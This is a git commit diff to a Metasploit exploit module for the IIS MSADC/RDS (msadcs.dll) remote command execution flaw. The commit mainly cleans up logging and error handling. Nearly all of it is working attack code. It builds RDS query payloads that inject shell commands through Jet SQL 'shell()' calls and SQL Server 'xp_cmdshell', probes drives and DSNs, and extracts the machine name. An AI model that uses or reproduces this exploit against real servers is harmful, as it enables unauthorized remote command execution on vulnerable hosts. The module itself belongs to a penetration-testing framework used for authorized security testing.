Updated msadc exploit with fixes.
parent
73190f6680
commit
37ee717301
|
@ -66,7 +66,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
OptString.new('PATH', [ true, "The path to msadcs.dll", '/msadc/msadcs.dll']),
|
||||
OptBool.new('METHOD', [ true, "If true, use VbBusObj instead of AdvancedDataFactory", false]),
|
||||
OptBool.new('NAME', [ true, "If true, attempt to obtain the MACHINE NAME", false]),
|
||||
OptBool.new('VERBOSE', [ true, "If true, be more verbose", false]),
|
||||
OptString.new('DBHOST', [ true, "The SQL Server host", 'local']),
|
||||
OptString.new('DBNAME', [ true, "The SQL Server database", 'master']),
|
||||
OptString.new('DBUID', [ true, "The SQL Server uid (default is sa)", 'sa']),
|
||||
|
@ -78,7 +77,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
res = send_request_raw({
|
||||
'uri' => datastore['PATH'],
|
||||
'method' => 'GET',
|
||||
}, 20)
|
||||
})
|
||||
if (res.code == 200)
|
||||
print_status("Server responded with HTTP #{res.code} OK")
|
||||
if (res.body =~ /Content-Type: application\/x-varg/)
|
||||
|
@ -95,12 +94,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
res = send_request_raw({
|
||||
'uri' => req,
|
||||
}, 20)
|
||||
})
|
||||
|
||||
if (res.code == 200 and res.body =~ /<H2>Datasource creation <B>FAILED! The most likely cause is invalid attributes<\/B><\/H2>/)
|
||||
if (datastore['VERBOSE'])
|
||||
print_error("DSN CREATE failed for drive #{drive} with #{dsn}.")
|
||||
end
|
||||
if (res and res.code == 200 and res.body =~ /<H2>Datasource creation <B>FAILED! The most likely cause is invalid attributes<\/B><\/H2>/)
|
||||
vprint_error("DSN CREATE failed for drive #{drive} with #{dsn}.")
|
||||
return false
|
||||
elsif (res.code == 200 and res.body =~ /<H2>Datasource creation successful<\/H2>/)
|
||||
print_good("DSN CREATE SUCCESSFUL for drive #{drive} with #{dsn}!")
|
||||
|
@ -108,21 +105,20 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
end
|
||||
|
||||
def exec_cmd(a, c, b) # a = sql, c = cmd, b = DSN or MDB
|
||||
def exec_cmd(sql, cmd, d)
|
||||
boundary = rand_text_alphanumeric(8)
|
||||
method = datastore['METHOD'] ? "VbBusObj.VbBusObjCls.GetRecordset" : "AdvancedDataFactory.Query"
|
||||
dsn = Rex::Text.to_unicode(b)
|
||||
if (b =~ /driver=\{SQL Server\}/)
|
||||
select = Rex::Text.to_unicode(a + '"' + c + '"')
|
||||
elsif (c.nil?)
|
||||
select = Rex::Text.to_unicode(a)
|
||||
dsn = Rex::Text.to_unicode(d)
|
||||
if (d =~ /driver=\{SQL Server\}/)
|
||||
select = Rex::Text.to_unicode(sql + '"' + cmd + '"')
|
||||
elsif (cmd.nil?)
|
||||
select = Rex::Text.to_unicode(sql)
|
||||
else
|
||||
select = Rex::Text.to_unicode(a+ "'|shell(\"" + c + "\")|'")
|
||||
end
|
||||
if (datastore['VERBOSE'])
|
||||
print_status("Attempting to request: #{select} on #{dsn}")
|
||||
select = Rex::Text.to_unicode(sql+ "'|shell(\"" + cmd + "\")|'")
|
||||
end
|
||||
|
||||
vprint_status("Attempting to request: #{select} on #{d}")
|
||||
|
||||
query = "\x02\x00\x03\x00\x08\x00#{[select.size].pack('S')}\x00\x00#{select}\x08\x00#{[dsn.size].pack('S')}\x00\x00#{dsn}"
|
||||
|
||||
sploit = "--#{boundary}\r\n"
|
||||
|
@ -148,50 +144,54 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'method' => 'POST',
|
||||
'data' => data,
|
||||
|
||||
}, 20)
|
||||
})
|
||||
|
||||
response = Rex::Text.to_ascii(res.body, 'utf-16be')
|
||||
|
||||
if (response =~ /HTTP:\/\/www.microsoft.com\/activex.vip\/adofx/ || res.body =~ /o.u.t.p.u.t./)
|
||||
print_good("Command was successfully executed! Statement: #{select} Driver: #{dsn}") if (datastore['VERBOSE'])
|
||||
return true, a, b
|
||||
vprint_good("Command was successfully executed! Statement: #{select} Driver: #{d}")
|
||||
return true, sql, d
|
||||
elsif (response =~ /RDS Server Error: The server has denied access to the default RDS Handler used to access this page. See the Server Administrator for more information about server security settings./)
|
||||
print_error("Exploit failed: the server is patched")
|
||||
break # we cannot continue - server refuses to accept RDS traffic from remote IPs. bail.
|
||||
elsif (response =~ /The Microsoft Jet database engine cannot find the input table or query \'(\w+)\'/)
|
||||
print_error("Server is vulnerable but Microsoft Jet database cannot find table: #{$1}") if (datastore['VERBOSE'])
|
||||
vprint_error("Server is vulnerable but Microsoft Jet database cannot find table: #{$1}")
|
||||
elsif (response =~ /isn't a valid path/ || response =~ /is not a valid path/ || response =~ /Could not find file/)
|
||||
print_error("Server is vulnerable but the drive and path is incorrect.") if (datastore['VERBOSE'])
|
||||
vprint_error("Server is vulnerable but the drive and path is incorrect.")
|
||||
elsif (response =~ /Disk or network error./)
|
||||
print_error("Server is vulnerable but the driver letter doesn't physically exist.") if (datastore['VERBOSE'])
|
||||
vprint_error("Server is vulnerable but the driver letter doesn't physically exist.")
|
||||
elsif (response =~ /Syntax error in CREATE TABLE statement/)
|
||||
print_error("Server is vulnerable and the database exists however the CREATE TABLE command failed.") if (datastore['VERBOSE'])
|
||||
vprint_error("Server is vulnerable and the database exists however the CREATE TABLE command failed.")
|
||||
elsif (response =~ /Table '(\w+)' already exists/)
|
||||
print_error("Server is vulnerable and the database exists however the TABLE '#{$1}' already exists!") if (datastore['VERBOSE'])
|
||||
vprint_error("Server is vulnerable and the database exists however the TABLE '#{$1}' already exists!")
|
||||
elsif (response =~ /Syntax error \(missing operator\) in query expression/)
|
||||
print_error("Server is vulnerable and the database and table exists however the SELECT statement has a syntax error.") if (datastore['VERBOSE'])
|
||||
vprint_error("Server is vulnerable and the database and table exists however the SELECT statement has a syntax error.")
|
||||
elsif (response =~ /Too few parameters. Expected 1/)
|
||||
print_good("Command was probably executed!")
|
||||
elsif (response =~ /Data source name not found and no default driver specified/)
|
||||
print_error("Server is vulnerable however the requested DSN '#{b}' does not exist.") if (datastore['VERBOSE'])
|
||||
vprint_error("Server is vulnerable however the requested DSN '#{d}' does not exist.")
|
||||
elsif (response =~ /Couldn't find file/)
|
||||
print_error("Server is vulnerable however the requested .mdb file does not exist.") if (datastore['VERBOSE'])
|
||||
vprint_error("Server is vulnerable however the requested .mdb file does not exist.")
|
||||
elsif (response =~ /Specified SQL server not found/)
|
||||
print_error("Server is vulnerable however the specified Microsoft SQL Server does not exist") if (datastore['VERBOSE'])
|
||||
vprint_error("Server is vulnerable however the specified Microsoft SQL Server does not exist")
|
||||
elsif (response =~ /Server does not exist or access denied/)
|
||||
vprint_error("Server is vulnerable however the specified Microsoft SQL Server does not exist or access is denied")
|
||||
elsif (response =~ /General error Unable to open registry key/)
|
||||
print_error("Server error (possible misconfiguration): Unable to open registry key ") if (datastore['VERBOSE'])
|
||||
vprint_error("Server error (possible misconfiguration): Unable to open registry key ")
|
||||
elsif (response =~ /It is in a read-only database/)
|
||||
print_error("Server accepted request however the requested .mdb is READ-ONLY") if (datastore['VERBOSE'])
|
||||
vprint_error("Server accepted request however the requested .mdb is READ-ONLY")
|
||||
elsif (response =~ /Invalid connection/)
|
||||
print_error("Server accepted request however the MSSQL database says Invalid connection") if (datastore['VERBOSE'])
|
||||
vprint_error("Server accepted request however the MSSQL database says Invalid connection")
|
||||
elsif (response =~ /\[SQL Server\]Login failed for user/)
|
||||
print_error("Server accepted request however the MSSQL database uid / password credentials are incorrect.") if (datastore['VERBOSE'])
|
||||
vprint_error("Server accepted request however the MSSQL database uid / password credentials are incorrect.")
|
||||
elsif (response =~ /EXECUTE permission denied on object 'xp_cmdshell'/)
|
||||
vprint_error("Server accepted request and MSSQL uid/pass is correct however the UID does not have permission to execute xp_cmdshell!")
|
||||
elsif (response =~ /\"(...)\"/) # we use rand_text_alphanumeric for 'table'. response is '"<table>" <table>' but means nothing to me. regexp is a little lazy however the unicode response doesn't give us much to work with; we only know it is 3 bytes long and quoted which should be unique.
|
||||
print_error("Server accepted request however it failed for reasons unknown.") if (datastore['VERBOSE'])
|
||||
vprint_error("Server accepted request however it failed for reasons unknown.")
|
||||
elsif (res.body =~ /\x09\x00\x01/) # magic bytes? rfp used it too :P maybe a retval?
|
||||
print_error("Unknown reply - but the command didn't execute") if (datastore['VERBOSE'])
|
||||
vprint_error("Unknown reply - but the command didn't execute")
|
||||
else
|
||||
print_status("Unknown reply - server is likely patched:\n#{response}")
|
||||
vprint_status("Unknown reply - server is likely patched:\n#{response}")
|
||||
end
|
||||
return false
|
||||
end
|
||||
|
@ -218,7 +218,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'method' => 'POST',
|
||||
'data' => data,
|
||||
|
||||
}, 20)
|
||||
})
|
||||
|
||||
if (res.code == 200 and res.body =~ /\x01(.+)/) # Should return the hostname
|
||||
print_good("Hostname: #{$1}")
|
||||
|
@ -312,6 +312,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_status("Step 8: Trying SQL xp_cmdshell method...")
|
||||
ret = exec_cmd("EXEC master..xp_cmdshell", "cmd /c echo x", "driver={SQL Server};server=(#{datastore['DBHOST']});database=#{datastore['DBNAME']};uid=#{datastore['DBUID']};pwd=#{datastore['DBPASSWORD']}") # based on hdm's sqlrds.pl :)
|
||||
return ret if (ret)
|
||||
|
||||
return -1
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
@ -319,6 +321,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
x = false
|
||||
until (x)
|
||||
x,y,z =find_exec
|
||||
if (x == -1)
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
if (x == true)
|
||||
|
@ -412,7 +417,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
res = send_request_raw({
|
||||
'uri' => uri,
|
||||
'method' => 'GET',
|
||||
}, 20)
|
||||
})
|
||||
end
|
||||
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue